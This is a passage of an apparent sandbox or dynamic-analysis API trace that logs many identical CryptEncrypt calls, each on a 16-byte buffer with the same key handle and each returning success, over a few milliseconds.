hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.249] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.250] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.251] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.252] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] 